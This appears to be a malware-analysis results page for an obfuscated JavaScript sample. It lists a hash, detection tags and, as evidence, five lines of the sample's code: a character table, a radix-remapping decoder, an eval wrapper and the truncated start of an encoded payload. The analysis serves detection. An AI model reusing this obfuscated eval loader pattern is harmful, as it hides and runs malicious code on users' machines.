Suspicious ^80% javascript-malware-collection Download

20151208_2424b2315107cf7b9dd6f465c83e997e.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-25610b3bb7a008098f06ee9a8a936a99452b2bcb7709268627ef6613b66fdf6ca27

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var fmzDEkVQLRHKI=[];for(bFQfqtH=(-583+583)/113;bFQfqtH<(70635+789)/558;bFQfqtH++){fmzDEkVQLRHKI[bFQfqtH]=String.fromCharCode(bFQfqtH)}function EZZRc(hOEvRrwUzZG,EPfEPzfhrbdVW,qSBWwFLz){OFDv=parseInt(hOEvRrwUzZG,EPfEPzfhrbdVW);ozVQQ=OFDv.toString(qSBWwFLz);return ozVQQ;}function ZSXvNExnGVECffu(KpQyLLvGFOLQZEIpa){eval(KpQyLLvGFOLQZEIpa)}
2function NMXJqByHsQRTsjBpWprnIKBjMtmPCjIxVmdTmaTdKnrNiPEukOLqAt(VyIorJbVTAyTc,UxvCycIxkZJYwE){ return fmzDEkVQLRHKI[EZZRc(VyIorJbVTAyTc[UxvCycIxkZJYwE],(364+656)/102,(6502+238)/674)];}
3function PgIVRDs(qqnZWOSeodYrgWdOVhEEVSEsWagZizIoRhog) {return !isNaN(parseFloat(qqnZWOSeodYrgWdOVhEEVSEsWagZizIoRhog)) && isFinite(qqnZWOSeodYrgWdOVhEEVSEsWagZizIoRhog);}
4function cdcCRBmkuUo(TVOPKpqb,MYpCBJ){return TVOPKpqb.split(MYpCBJ)}
5var e=[];e.push("13");e.push("10");e.push("13");e.push("10");e.push("118");e.push("97");e.push("114");e.push("32");e. …